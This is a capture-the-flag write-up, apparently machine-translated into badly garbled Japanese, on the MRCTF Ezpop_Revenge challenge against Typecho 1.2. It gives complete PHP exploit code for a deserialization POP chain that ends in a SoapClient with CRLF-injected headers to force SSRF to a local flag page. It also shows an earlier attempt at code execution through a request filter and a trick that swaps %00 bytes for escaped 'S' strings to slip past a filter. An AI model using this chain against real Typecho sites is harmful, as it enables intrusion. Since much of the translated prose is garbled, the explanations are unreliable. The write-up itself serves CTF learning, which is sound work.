MRCTF Ezpop_Revenge小记

序文

何ピットを記録する途中でtypecho1.2、およびステップをデシリアライズ

ソースコードを入手www.zip、次のような構造がある
ここに画像を挿入説明
flag.php必要性SSRFは、成功した場合、セッションを書きます
ここに画像を挿入説明
既製のペイロード(怠惰、存在する場合に最初に見つけ、インターネットに直接ソースコードを入手するために
類似した見つける
// p0sec:httpsのは。ネット/ index.phpを/アーカイブ/ 114 /
しかし、エントリポイントはinstall.phpをし、install.phpのソースコードは、グローバル検索を削除されました:
ここに画像を挿入説明
パスは、USR /プラグイン/ HelloWorldの/ Plugin.phpされ
ここに画像を挿入説明
、明らかにこれはあります直列化復元ポイントが、ここではこの方法では、長い時間のために直接使用し、その後、鳩ことができない、と私は定義されたルート==持っ
plugin.php下typecho \を:

Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');

まず、ここを参照してください:
ここに画像を挿入説明
それは明確なエントリポイントである、Typecho_Dbに従ってください:: __構造
ここに画像を挿入説明
そしてここで私は(ピット上のステップが続く)上記の記事との考えに従ってを__toString見つけるので、文字のモザイクあり

段付ピット

ここに画像を挿入説明
358ラインFeed.php下のtoString
ここに画像を挿入説明
なし過去に、あなたは__get見つけることができます
Request.phpは
ここに画像を挿入説明
フォローアップ
ここに画像を挿入説明
_applyFilterのフォローアップを
ここに画像を挿入説明
、この値- > _のparams [「スクリーンネーム 」] 決定制御、$ _フィルタも制御可能、 RCE?(クレイジー口まで)
私は、次のポップチェーンを構築して:

<?php
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=(['hello'=>new Typecho_Feed(),'world'=>'typecho_']);
        var_dump($this->coincidence);
    }
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    }
}
class Typecho_Feed
{
    private $_type = 'ATOM 1.0';
    private $_charset = 'UTF-8';
    private $_lang = 'zh';
    private $_items = array();
    public function __construct(){
        $this->_items=array('author' => new Typecho_Request());
    }
}
class Typecho_Request{
    private $_filter=array();
    private $_params=array();
    public function __construct()
    {
        $this->_params['screenName'] = -1;
        $this->_filter = array('phpinfo');
    }
}
$a=new HelloWorld_DB();
echo base64_encode(serialize($a));

しかし、ここであまりにも多くの機能をフィルタリングし、機能コマンドが、その後、私がテストしてきた、ほぼ完全にフィルタ処理を実行、ゲームの終わりは...試してませんでした(ポップ鎖typecho1.1該当するバージョンのようなこのルックス)

正解

SSRFがフラグをリードしている理由を.... RCEことができれば、私は突然思った
まあ、実際に私が間違って探していた__toString開始、query.phpは踏み台を見つける必要があります
ここに画像を挿入説明
参照$この場合は- > _ sqlPreBuild [「 action」の] =コールにSELECT:

$this->_adapter->parseSelect($this->_sqlPreBuild)

-その後、$これを作る> _アダプタがのSoapClientの例では、トリガはSSRF完了_CALL
:コールチェーン
> - HelloWorld_DB ::ウェイクアップ
Typecho_Db :: __構築物(のtoString) - >
Typecho_Db_Query :: __構築物- >
(この- > _ =新しい新しいアダプタをSoapClient) - >
SSRF

その後、ピット:
ここ%がフィルタリングされている間、ここでは、主にプライベートメンバ変数であり、00%を満たすのに必要な民間の目に見えない文字:
ここに画像を挿入説明
次に、あなたは00%の代わりに\ 00を使用する必要があります

それをここでの知識は、前に遭遇しませんでした。

最新のCVSのPHP5では、
新しい直列化モードは、モードで比較的一般的かつ非エスケープバイナリ文字列で、バイナリ文字列を、エスケープと呼ばれる
文字列のデータ型(文字列)新しいシリアライズ形式:
S : "<長さ>": " <値>";
<長さ>はソース文字列の長さではなく、<value>は長さを特徴とします。数が正の符号(+)を有することができる前に、<length>は、負でない整数です。<value>はエスケープ後の文字列です。
これは、コーディング非常に単純なエスケープですが、文字のASCIIコードが128未満のである(ただし、\は含まない)、単一バイト(同じ秒の識別)に基づいて、文字と\文字のための255から128を、それがASCIIでありますコード値は、次の2つのバイトを始めとして\に進エンコードされた文字列に変換された文字の符号化進数、すなわちビットに対応する、ハイからローに順に配置されている8-5最初のバイト、ビット単位で第二のバイト4-1として進数字(これら小文字ABCDEF)。コード配列ダウン、<value>は、コンテンツを取得します。

例えば、Sなどの小型の通常の文字列のそれに対応する共通配列、3:「%00A% 00」、
および対応するSの配列は、Sのような大きな\プラスヘクスである:2:「\ 00A \ 00「;
例を見ては
ここに画像を挿入説明
なりません%00が16進数に変換され表示文字、大型のウェイクアップの実装を成功
ここに画像を挿入説明
小文字の後、失敗し
ここに画像を挿入説明
た後、すべて%\に変換する必要性が存在し、その後識別文字列sへS、マスター英チー方法によって:https://www.gem-love.com/ctf/2184.html#Ezpop_Revenge

function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    return $newstr;
}

文字列:コロンブレーク配列、その後、トラバースA $ arrが[$ i]は、すべての00試合、小さなS $ [$ I-2 ARR場合 ] 置き換えではその後、Sです:スプライシングは、以下を参照してくださいこの例では、知っているだろう
ここに画像を挿入説明
、最終的なペイロードを:

<?php
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
    }
}
class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    }
}
class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;
    public function __construct(){
        $this->_sqlPreBuild['action']='SELECT';
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
    'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
        $this->_adapter=new SoapClient(
            null,
            array('location' => $target,
                'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
    }


}
function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    return $newstr;
}
$a=serialize(new HelloWorld_DB());
$a = urlencode($a);
$a = preg_replace('/%00/', '%5c%30%30', $a);
$a = decorate(urldecode($a));
echo base64_encode($a);

プラス?管理者= 1に
ここに画像を挿入説明

おすすめ

転載: www.cnblogs.com/W4nder/p/12596114.html